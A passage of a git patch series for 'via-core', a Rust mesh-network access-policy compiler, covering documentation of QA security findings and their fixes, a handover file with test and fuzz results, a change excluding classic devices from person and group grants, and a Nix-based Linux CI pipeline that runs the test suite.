tunnel (`except`); traffic + from that app to mesh addresses the device has no peer for goes direct. It could not have reached them + through the tunnel either. +- **Ids are case-sensitive** (QA F-12): `person:Jana` and `person:jana` are two people. Decide when the people + directory exists (open question 2). +- **Never run on Linux** (QA F-11): the `#[cfg(unix)]` symbolic-link case has not executed and the golden files + were produced on Windows. One Linux run is wanted before the tag; WSL did not start on this PC. - Multi-hop exits (`via` on `exits-through`) are refused, not compiled: Day 6. - `via` on `can-reach` is a path hint (relay or exit) carried in the peer; the engine decides what it means. - No `via export` of a classic WireGuard config: Day 5. Its exporter must write no free text (road notes, names) into the file; names here are already free of line breaks and hidden characters (QA R-42). - No Custos approval field on roads: approvals are Day 4, and a new key is an *unknown key* to this build. -- `explain` and `check` answer as an administrator. A web view (Day 5) must scope them to the asker (QA R-49, - R-51): today they name every road. +- `explain` and `check` answer as an administrator (QA R-49, R-51, F-13): they name every road and every + problem. **This blocks the Day 5 web view**: before it ships, both must take the asker and answer only about + the asker's own devices and the roads whose subject or object covers them, with snapshot problems shown to + administrators only. - Firewall rules are one per (source, destination, port range): a group of 1,000 people to 1,000 places is 10⁶ rules, not grouped into sets (QA R-59). Measured instead (QA R-56): 10,000 roads, 2,000 devices → 249,400 grants and 5,978 rules in 0.59 s (release) and 3.1 s (debug), `tests/attacks.rs`. @@ -149,7 +184,34 @@ that reads the generated world with `u32` arithmetic and no `roads` code. Differ without `classic: true`, which the oracle does not model. The fixtures check the positive cases instead; - P-5 (permutations) and P-6 (revocation completeness) are fixture tests (`determinism.rs`, `revocation.rs`); - P-3 and P-4 leave out exit rules: removing one of two conflicting exit roads is *meant* to let the other apply; -- R-55 (renaming every id gives an isomorphic plan) is not done. +- R-55 (renaming every id gives an isomorphic plan) was added by QA in review (`tests/rename.rs`); +- IPv6 is checked by embedding (QA F-10): P-6v6 writes the same world into `fd00::/96` and requires the same + plans, mapped, and the same problems. + +## QA review of PR #1, and what changed + +QA's review (`Via/qa/review-via-core-pr1.md`, PR comments 49910–49925) found one blocker and five majors in the +model. Each finding had a failing test in `tests/qa_findings.rs`; every one now passes, un-ignored in the +commit that fixed it. + +| # | Finding | Resolution | +|:--|:--|:--| +| F-01 | a service road opened every service on the same host and port | services may have their own mesh address; a shared address and port is `service.shared` | +| F-02 | goes-direct could take mesh or tunnelled subnets out of the tunnel | `direct.mesh`, `direct.tunnelled`, `direct[].except` | +| F-03 | an invalid kill-switch road failed open | fails closed, through no exit | +| F-04 | one dangling owner gave no plans for anybody | dangling owners and members drop only themselves | +| F-09 | an emptied `until:` or `ports:` widened the road | `key.empty` | +| B-3 | `app:` roads reached every device | `on:` is required and scopes the road | +| F-05 | a custom block on a classic device was labelled post-quantum | the device's flag counts | +| F-06 | cross-family roads compiled into dead rules | `road.family` | +| F-07 | a missing `roads/` was silent | `store.roads` | +| F-08 | mesh addresses could be public | refused | +| F-10 | the property had no IPv6 | P-6v6 | +| B-1, F-11, F-12, F-13 | replay, Linux, case, explain as admin | recorded under Gaps | + +QA's R-55 property itself failed about once in four runs: a group renamed to `in` turned every firewall +`"direction": "in"` into the group's old name. The renaming now reserves every word of the output, and the seed +is a fixed test. ## Tests @@ -160,7 +222,7 @@ commits, and the history shows that. |:--|:--|:--| | 1 | Validation: every rule has a failing fixture naming the file and the field; a meta-test fails if a rule has none; a failing road changes no plan byte | `crates/roads/tests/validation.rs`, fixtures in `crates/roads/tests/fixtures/invalid/` (`expect.txt`) | | 2 | Revocation: deleting a road, expiring it, moving or removing a device, or a person from a group, removes the access on both sides | `crates/roads/tests/revocation.rs` | -| 3 | Least privilege: proptest, 5,000 cases for P-1 and 500 each for the invalid/expired and P-3/P-4 properties | `crates/roads/tests/least_privilege.rs` | +| 3 | Least privilege: proptest, 5,000 cases for P-1, 1,000 for P-6v6 (IPv6 by embedding) and 500 each for the invalid/expired and P-3/P-4 properties | `crates/roads/tests/least_privilege.rs` | | 4 | Determinism: byte-identical twice, with shuffled input, with CRLF files, against golden plans; CBOR twice and decode → encode, a pinned digest | `crates/roads/tests/determinism.rs`, `crates/proto/tests/roundtrip.rs` | | 5 | `explain` returns exactly the allowing roads, each one enough alone, and nothing when denied | `crates/roads/tests/explain.rs` | | 6 | Custom roads round-trip unchanged: file → render, through the plan and through CBOR | `crates/roads/tests/custom.rs`, `crates/proto/tests/roundtrip.rs` | @@ -171,8 +233,8 @@ and the binary in `crates/via-cli/tests/cli.rs`. Dates use `jiff`: `chrono` is f ## Open questions -1. Should an *invalid* `never-online-without` road fail closed (kill switch on through no exit), since "grants - nothing" turns the protection off? This build reports it and does not apply it. +1. ~~Should an invalid `never-online-without` road fail closed?~~ Answered: yes (QA F-03, and Mark's "nothing + leaks when the tunnel drops"). It is reported and applied through no exit. 2. Does the people directory key people by a Tessera root key, a random id, or a name? `PersonId` waits. 3. Where does a service's hosting device come from: Ianitor's upstreams name hosts and ports, not Tessera keys. This build takes it from `devices.json`. From 18e0c50e089cb2773a8d1ee30ca5e57afd62ddc8 Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 09:24:29 +0100 Subject: [PATCH 21/25] [docs] HANDOVER: via-core after the QA fixes, with counts, fuzz runs and what is left --- HANDOVER.md | 69 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 HANDOVER.md diff --git a/HANDOVER.md b/HANDOVER.md new file mode 100644 index 0000000..a9d2f9e --- /dev/null +++ b/HANDOVER.md @@ -0,0 +1,69 @@ +# Handover — via-core + +Newest entry first. Where this file and the code disagree, the code wins and the next entry says so. + +## 2026-11-25 — QA findings fixed on `feature/roads` (owner session) + +**Who owns this:** the Via owner session. It reviews, merges `--no-ff` and tags `v0.1.0`. Mark's decisions +go through the orchestrator session. + +**Where it stands:** PR #1 (`feature/roads`) is open, not merged, not tagged. QA's review (head `635d380`) +found one blocker and five majors in the model; all are fixed on the branch, one commit each, each removing +the `#[ignore]` of its finding's test in `tests/qa_findings.rs`. `main` still holds only the bootstrap. + +**Build described:** Windows 10, `cargo 1.99.0` / `rustc 1.99.0` stable MSVC, debug profile, at the branch +head named in the PR. + +| Run | Result | +|:--|:--| +| `cargo test --workspace` | **90 passed, 0 failed, 0 ignored** (debug and `--release`) | +| `cargo clippy --workspace --all-targets -- -D warnings` | clean | +| `cargo fmt --all --check` | clean | +| `cargo deny check` | advisories ok, bans ok, licenses ok, sources ok | +| `cargo audit` | 80 crates, 0 vulnerabilities | +| fuzz `road_file` | **631 s, 807,395 executions, 0 crashes, 0 artifacts** (features 7,711 → 9,819; corpus 1,080 → 1,289), built at `7342659`, Windows MSVC, SanitizerCoverage, no sanitizer | +| fuzz `envelope` | **331 s, 17,441,113 executions, 0 crashes** (features 5,096 → 5,256), same build | + +Per file: `proto/roundtrip` 6 · `roads` unit 16 · `attacks` 8 · `custom` 6 · `determinism` 4 · `explain` 6 · +`least_privilege` 6 (P-1 5,000 cases: 1,706 with rules, 4,420 rules and 7,784 allowed IPs checked against the +oracle; P-6v6 1,000) · `qa_findings` 13 · `rename` 4 · `revocation` 9 · `validation` 5 (83 fixture files, 65 +rules) · `via-cli/cli` 7. + +**What changed after QA** (details in `docs/02_via-core.md`, "QA review of PR #1"): + +| # | Change | +|:--|:--| +| F-01 | services may have their own mesh address (`devices.json` `services[].address`); a road to a service that shares its address and a port with another is `service.shared`; plans list the device's service addresses (`services[]`); a `device:` road reaches all of the device's addresses | +| F-02 | `direct.mesh`, `direct.tunnelled`, and `direct[].except` (tunnelled nets that stay in the tunnel) | +| F-03 | a kill-switch road with an error fails closed, through no exit | +| F-04 | a dangling owner or group member is reported and drops only itself (`devices.owner-unknown`, `directory.member-unknown`) | +| F-05 | custom blocks on a classic device are labelled classic | +| F-06 | cross-family roads give nothing to those devices and are reported (`road.family`) | +| F-07 | no `roads/`, or a `roads/` that is a file or a link, is `store.roads` | +| F-08 | mesh addresses are never internet addresses | +| F-09 | `until:` / `ports:` present but empty is `key.empty` | +| F-10 | P-6v6: IPv6 compiles like IPv4, by embedding into `fd00::/96` | +| B-3 | `app:` roads need `on:` (person, group or device) and reach only those devices | +| R-55 | QA's renaming property was flaky (a group renamed to `in`); fixed in the test, seed pinned | + +The plan format gained `services` and `direct[].except`. Format 1 has not been released, so it changed in +place; the golden plans and the pinned CBOR digest were regenerated and the diff read by hand. + +**Not fixed, recorded** (`docs/02_via-core.md`, Gaps): +- **B-1** proto v1 has no serial: Day 3's signed v2 carries a monotonic serial and `not_after`. +- **F-13** `explain` and `check` answer as an administrator: **blocks the Day 5 web view**. +- **F-12** ids are case-sensitive: decide with the people directory. +- **F-11** never run on Linux (WSL does not start on this PC): wanted before the tag. +- A kill-switch file that does not *parse* applies nothing (only reported). + +**Decisions taken here that Mark may want to see:** services get their own mesh address (no Ianitor identity +check needed); `except` makes the tunnel win over going direct; app roads need `on:`. + +**Next:** merge `--no-ff` into `main`, push, `git rev-parse HEAD origin/main` twice, tag `v0.1.0`, per +`F:\Akce\Via\handover\MERGE-PLAN.md`, once the Linux question (F-11) and the signed-release question are answered. + +## 2026-11-25 — Day 2 built (builder), reviewed (QA) + +The road model, validator, compiler, `explain`, the versioned CBOR control messages and the `via` command: +72 tests by the builder; QA added the renaming property, nine finding tests and two fuzz targets +(`road_file` 721 s, 1,116,471 executions; `envelope` 331 s; no crash; Windows, no sanitizer). From 3b39ce137dfb948481ff1c48b16130ad5e5b0a30 Mon Sep 17 00:00:00 2001 From: mnovak Date: Wed, 25 Nov 2026 10:58:57 +0100 Subject: [PATCH 22/25] [roads] Mark's decision: person and group grants leave classic devices out Mark, 2026-11-25, "Leave classic out": a grant to a person or a group covers only their post-quantum devices. A classic router is reached only through a device: road of its own, which says classic: true. Before, a person grant covered their classic devices and so needed classic: true itself, and one classic device blocked every road of its owner (builder's self-review #5). New test a_person_grant_never_covers_their_classic_device, which fails with the old compiler. Docs and HANDOVER updated: 91 tests, debug and release. --- HANDOVER.md | 5 ++-- crates/roads/src/compile.rs | 24 ++++++++++++------- crates/roads/tests/revocation.rs | 41 ++++++++++++++++++++++++++++++++ docs/02_via-core.md | 7 ++++-- docs/FORMATS.md | 2 +- 5 files changed, 65 insertions(+), 14 deletions(-) diff --git a/HANDOVER.md b/HANDOVER.md index a9d2f9e..2bf3419 100644 --- a/HANDOVER.md +++ b/HANDOVER.md @@ -16,7 +16,7 @@ head named in the PR. | Run | Result | |:--|:--| -| `cargo test --workspace` | **90 passed, 0 failed, 0 ignored** (debug and `--release`) | +| `cargo test --workspace` | **91 passed, 0 failed, 0 ignored** (debug and `--release`) | | `cargo clippy --workspace --all-targets -- -D warnings` | clean | | `cargo fmt --all --check` | clean | | `cargo deny check` | advisories ok, bans ok, licenses ok, sources ok | @@ -26,7 +26,7 @@ head named in the PR. Per file: `proto/roundtrip` 6 · `roads` unit 16 · `attacks` 8 · `custom` 6 · `determinism` 4 · `explain` 6 · `least_privilege` 6 (P-1 5,000 cases: 1,706 with rules, 4,420 rules and 7,784 allowed IPs checked against the -oracle; P-6v6 1,000) · `qa_findings` 13 · `rename` 4 · `revocation` 9 · `validation` 5 (83 fixture files, 65 +oracle; P-6v6 1,000) · `qa_findings` 13 · `rename` 4 · `revocation` 10 · `validation` 5 (83 fixture files, 65 rules) · `via-cli/cli` 7. **What changed after QA** (details in `docs/02_via-core.md`, "QA review of PR #1"): @@ -45,6 +45,7 @@ rules) · `via-cli/cli` 7. | F-10 | P-6v6: IPv6 compiles like IPv4, by embedding into `fd00::/96` | | B-3 | `app:` roads need `on:` (person, group or device) and reach only those devices | | R-55 | QA's renaming property was flaky (a group renamed to `in`); fixed in the test, seed pinned | +| Mark | "Leave classic out" (2026-11-25): person and group grants cover only post-quantum devices; a classic device needs its own `device:` road with `classic: true`. Test `revocation.rs::a_person_grant_never_covers_their_classic_device`, mutation-checked | The plan format gained `services` and `direct[].except`. Format 1 has not been released, so it changed in place; the golden plans and the pinned CBOR digest were regenerated and the diff read by hand. diff --git a/crates/roads/src/compile.rs b/crates/roads/src/compile.rs index 286dbdb..e617a4e 100644 --- a/crates/roads/src/compile.rs +++ b/crates/roads/src/compile.rs @@ -95,8 +95,10 @@ impl Extras { } } -/// The devices a subject covers: a person's are the devices they own; a group's, its members'; an app's, those -/// of its `on` (QA B-3: never every device of the mesh). +/// The devices a subject covers: a person's are the post-quantum devices they own; a group's, its members'; +/// an app's, those of its `on` (QA B-3: never every device of the mesh). A classic (not post-quantum) device is +/// never covered by a person or a group: it is reached only by a `device:` road of its own, which says +/// `classic: true` (Mark, 2026-11-25: "Leave classic out"). pub fn subject_devices( subject: &Subject, on: Option<&Subject>, @@ -114,11 +116,14 @@ pub fn subject_devices( devs.devices .values() .filter(|d| match subject { - Subject::Person(p) => d.owner.as_ref() == Some(p), - Subject::Group(g) => dir - .groups - .get(g) - .is_some_and(|g| d.owner.as_ref().is_some_and(|o| g.members.contains(o))), + Subject::Person(p) => !d.classic && d.owner.as_ref() == Some(p), + Subject::Group(g) => { + !d.classic + && dir + .groups + .get(g) + .is_some_and(|g| d.owner.as_ref().is_some_and(|o| g.members.contains(o))) + } Subject::Device(k) => &d.key == k, Subject::App(_) => false, }) @@ -126,7 +131,8 @@ pub fn subject_devices( .collect() } -/// Devices by owner, built once per compile so resolving a subject does not scan every device. +/// Post-quantum devices by owner, built once per compile so resolving a subject does not scan every device. +/// Classic devices are left out: no person or group grant covers them. struct Index { by_owner: BTreeMap>, } @@ -134,7 +140,7 @@ struct Index { impl Index { fn new(devs: &Devices) -> Index { let mut by_owner: BTreeMap<_, BTreeSet> = BTreeMap::new(); - for d in devs.devices.values() { + for d in devs.devices.values().filter(|d| !d.classic) { if let Some(o) = &d.owner { by_owner.entry(o.clone()).or_default().insert(d.key.clone()); } diff --git a/crates/roads/tests/revocation.rs b/crates/roads/tests/revocation.rs index 8198248..cd1cdb5 100644 --- a/crates/roads/tests/revocation.rs +++ b/crates/roads/tests/revocation.rs @@ -200,3 +200,44 @@ fn a_person_deleted_from_the_directory_leaves_their_roads_reported_and_void() { "the friend node kept petr-phone as a peer" ); } + +/// Mark, 2026-11-25, "Leave classic out": a grant to a person or a group covers only their post-quantum +/// devices. A classic router that Mark owns is reached by none of Mark's or the household's roads, only by +/// its own `device:` road with `classic: true`, and that road keeps working. +#[test] +fn a_person_grant_never_covers_their_classic_device() { + let parts = Parts::home().edit_devices(|d| { + d.replace( + r#""name": "router", "address""#, + r#""name": "router", "owner": "mark", "address""#, + ) + }); + let c = parts.compile(); + assert_eq!(c.errors().count(), 0, "{:?}", c.problems); + let router = &c.plans[&key(5)]; + // h2x8vd (person:mark -> the home LAN) and k3f9q2 (group:household -> home-server) leave it out. + for p in &router.peers { + assert!( + p.roads.iter().all(|r| r.as_str() == "r8m2tg"), + "the router got a peer from a person or group road: {:?}", + p.roads + ); + } + assert!( + !router + .peers + .iter() + .flat_map(|p| p.allowed_ips.iter()) + .any(|n| n.to_string() == "192.168.100.0/24"), + "mark's LAN road reached his classic router" + ); + // Its own classic road still gives it the home server on udp/53 and tcp/22. + assert!(fw_accepts( + &c, + &key(5), + "100.96.0.2".parse().unwrap(), + Some(("tcp", 22)) + )); + // And mark's post-quantum devices keep their access. + assert!(c.plans[&key(1)].peers.iter().any(|p| p.key == key(2))); +} diff --git a/docs/02_via-core.md b/docs/02_via-core.md index 572ce3d..a70e70e 100644 --- a/docs/02_via-core.md +++ b/docs/02_via-core.md @@ -57,8 +57,11 @@ change. | `never-online-without` | person, group, device | exit | `until` | nothing: the kill switch | | `custom` | device | — | `until`, `classic` | nothing the compiler checks: the raw block is carried, verbatim and labelled | -- A person's grant covers **every device whose owner is that person** in `devices.json`; a group's covers every - member's devices. Removing a device from a person removes its access on the next compile. +- A person's grant covers **every post-quantum device whose owner is that person** in `devices.json`; a group's + covers every member's post-quantum devices. Removing a device from a person removes its access on the next + compile. **Classic devices are left out** of person and group grants (Mark, 2026-11-25, "Leave classic + out"): a classic router is reached only by a `device:` road of its own, which says `classic: true`. So one + classic device no longer blocks its owner's roads (the builder's self-review #5). - `classic` must be `true` on any road that would create a peer with a classic (not post-quantum) device. It is the road saying out loud that this path is not post-quantum. Without it the road grants nothing. - `until` is exclusive and compared with `now`, which is a parameter. Each plan carries `expires`, the earliest diff --git a/docs/FORMATS.md b/docs/FORMATS.md index 60bdd3c..397cb3a 100644 --- a/docs/FORMATS.md +++ b/docs/FORMATS.md @@ -75,7 +75,7 @@ never widens a road (QA F-09). `ports: []` is `ports.format`. | Form | Meaning | Id rules | |:--|:--|:--| -| `person:` | a person in `directory.json` | opaque: 1–64 of `[A-Za-z0-9_-]` (no people directory exists in Fundamentum yet) | +| `person:` | a person in `directory.json`: their post-quantum devices (classic devices are never covered by a person or group, only by their own `device:` road) | opaque: 1–64 of `[A-Za-z0-9_-]` (no people directory exists in Fundamentum yet) | | `group:` | a group in `directory.json` | as a person id | | `device:` | a device in `devices.json` | the Tessera device subkey: 32-byte Ed25519 public key, base64url without padding, 43 characters, canonical | | `app:` | a Domi app, on the devices its road's `on` names (QA B-3) | the Tessera id: 1–32 of `[a-z0-9-]`, not starting or ending with `-` | From 61e1f1da19bd0b2423c91f37822a903e35d7e0c4 Mon Sep 17 00:00:00 2001 From: mnovak Date: Thu, 26 Nov 2026 04:21:10 +0100 Subject: [PATCH 23/25] ci: the workspace once on Linux, on Fabrica's NixOS runner, before the tag (QA F-11) Mark, 2026-11-26: the Linux run goes on Fabrica's server runner. The flake gives only the toolchain (nixos-26.05, locked as Ianitor's); the pipeline runs cargo test --workspace in debug and release. It builds and switches nothing on the server. --- .fabrica/artifex/linux.yaml | 20 ++++++++++++++++++++ flake.lock | 27 +++++++++++++++++++++++++++ flake.nix | 17 +++++++++++++++++ 3 files changed, 64 insertions(+) create mode 100644 .fabrica/artifex/linux.yaml create mode 100644 flake.lock create mode 100644 flake.nix diff --git a/.fabrica/artifex/linux.yaml b/.fabrica/artifex/linux.yaml new file mode 100644 index 0000000..3a6d68d --- /dev/null +++ b/.fabrica/artifex/linux.yaml @@ -0,0 +1,20 @@ +# via-core: the whole workspace once on Linux, on the server's NixOS runner, before the v0.1.0 tag (QA F-11; Mark, +# 2026-11-26: "Fabrica server runner"). By hand (Artifex → via-core → linux, or the hub's POST /api/runs with +# pipeline linux and a ref), or on a push to feature/roads or ci/linux. It builds and switches nothing on the +# server. The toolchain is the flake's `ci` shell (nixos-26.05). +name: linux +on: + push: [feature/roads, ci/linux] + manual: true +runner: nixos +env: + CARGO_TERM_COLOR: "never" +steps: + - id: toolchain + run: nix --extra-experimental-features "nix-command flakes" develop .#ci -c bash -c "rustc --version && cargo --version" + - id: test-debug + needs: [toolchain] + run: nix --extra-experimental-features "nix-command flakes" develop .#ci -c cargo test --workspace --no-fail-fast + - id: test-release + needs: [test-debug] + run: nix --extra-experimental-features "nix-command flakes" develop .#ci -c cargo test --workspace --release --no-fail-fast diff --git a/flake.lock b/flake.lock new file mode 100644 index 0000000..8eb81e2 --- /dev/null +++ b/flake.lock @@ -0,0 +1,27 @@ +{ + "nodes": { + "nixpkgs": { + "locked": { + "lastModified": 1793865203, + "narHash": "sha256-/cpdPHaySDIyCgZI6EWngiM6jK3YLUNzv1b7lTzy6Bk=", + "owner": "NixOS", + "repo": "nixpkgs", + "rev": "c56a87d8e41ce69bd2af57eb35dcc117a9dfca33", + "type": "github" + }, + "original": { + "owner": "NixOS", + "ref": "nixos-26.05", + "repo": "nixpkgs", + "type": "github" + } + }, + "root": { + "inputs": { + "nixpkgs": "nixpkgs" + } + } + }, + "root": "root", + "version": 7 +} diff --git a/flake.nix b/flake.nix new file mode 100644 index 0000000..99f43a0 --- /dev/null +++ b/flake.nix @@ -0,0 +1,17 @@ +{ + description = "The Linux test shell for Fabrica's NixOS runner (.fabrica/artifex/linux.yaml)"; + + inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixos-26.05"; + + outputs = + { self, nixpkgs }: + let + pkgs = nixpkgs.legacyPackages.x86_64-linux; + in + { + # nix develop .#ci -c cargo test : the toolchain only; the tests fetch crates from crates.io. + devShells.x86_64-linux.ci = pkgs.mkShell { + packages = with pkgs; [ cargo rustc clippy rustfmt git ]; + }; + }; +} From 63eaed563bed92635a80f528d4bb8d4d6f2e85fb Mon Sep 17 00:00:00 2001 From: mnovak Date: Thu, 26 Nov 2026 04:24:35 +0100 Subject: [PATCH 24/25] ci(linux): the toolchain step starts with nix, with no && inside, for Fabrica's preflight --- .fabrica/artifex/linux.yaml | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/.fabrica/artifex/linux.yaml b/.fabrica/artifex/linux.yaml index 3a6d68d..494b91f 100644 --- a/.fabrica/artifex/linux.yaml +++ b/.fabrica/artifex/linux.yaml @@ -1,7 +1,8 @@ # via-core: the whole workspace once on Linux, on the server's NixOS runner, before the v0.1.0 tag (QA F-11; Mark, # 2026-11-26: "Fabrica server runner"). By hand (Artifex → via-core → linux, or the hub's POST /api/runs with # pipeline linux and a ref), or on a push to feature/roads or ci/linux. It builds and switches nothing on the -# server. The toolchain is the flake's `ci` shell (nixos-26.05). +# server. Every run line starts with `nix` and has no `&&`, `;` or `|` (Fabrica's preflight reads each part's first +# word as a runner tool). The toolchain is the flake's `ci` shell (nixos-26.05). name: linux on: push: [feature/roads, ci/linux] @@ -11,7 +12,7 @@ env: CARGO_TERM_COLOR: "never" steps: - id: toolchain - run: nix --extra-experimental-features "nix-command flakes" develop .#ci -c bash -c "rustc --version && cargo --version" + run: nix --extra-experimental-features "nix-command flakes" develop .#ci -c cargo --version - id: test-debug needs: [toolchain] run: nix --extra-experimental-features "nix-command flakes" develop .#ci -c cargo test --workspace --no-fail-fast From 88858ef235ec599aa2c35888d03db2e7a409e3df Mon Sep 17 00:00:00 2001 From: mnovak Date: Thu, 26 Nov 2026 05:24:21 +0100 Subject: [PATCH 25/25] docs: HANDOVER for v0.1.0, with the Linux run on Fabrica's runner (QA F-11 closed) and the fuzz rerun --- HANDOVER.md | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/HANDOVER.md b/HANDOVER.md index 2bf3419..63a2dd7 100644 --- a/HANDOVER.md +++ b/HANDOVER.md @@ -2,6 +2,30 @@ Newest entry first. Where this file and the code disagree, the code wins and the next entry says so. +## 2026-11-26 — v0.1.0 (owner session) + +**Released:** `v0.1.0`, an annotated tag on the `--no-ff` merge of PR #1 into `main`, plus a Gitea release. Mark +chose "Tag + Gitea release now"; Artifex signing comes later. **Not audited.** + +**Since the 2026-11-25 entry:** +- `3b39ce1`, Mark's decision: a person or group grant leaves classic devices out. They are reached only by their own + `device:` road; test `a_person_grant_never_covers_their_classic_device`. +- The pipeline `linux` (`.fabrica/artifex/linux.yaml`) and a toolchain-only flake (`nix develop .#ci`, nixos-26.05) + for Fabrica's NixOS runner. The library is unchanged since `3b39ce1`. + +**Counts:** + +| Run | Where | Result | +|:--|:--|:--| +| `cargo test --workspace` (debug and release) | Windows 10, cargo 1.99.0, at `3b39ce1` | 91 passed / 0 / 0 each | +| `cargo test --workspace` (debug and release) | **Linux**: Fabrica `nixos-vm` runner, run `rpnb803g4v0t0`, at `63eaed5` | 182 passed / 0 / 0 in total (91 each); exit 0, 164 s. This closes QA F-11 | +| fuzz `road_file` | Windows, at `3b39ce1` | 601 s, 228,925 executions, 0 crashes (at 100 % CPU) | +| fuzz `envelope` | Windows, at `3b39ce1` | 601 s, 12,748,163 executions, 0 crashes | +| clippy, fmt, `cargo deny`, `cargo audit` | Windows, at `7342659` | clean | + +**Still open (recorded, not fixed):** B-1, a replayable plan; Day 3 wraps every plan in a signed envelope with +`serial` and `expires`, in via's `crates/control`. F-12, case-sensitive ids. F-13, which blocks the Day 5 web view. + ## 2026-11-25 — QA findings fixed on `feature/roads` (owner session) **Who owns this:** the Via owner session. It reviews, merges `--no-ff` and tags `v0.1.0`. Mark's decisions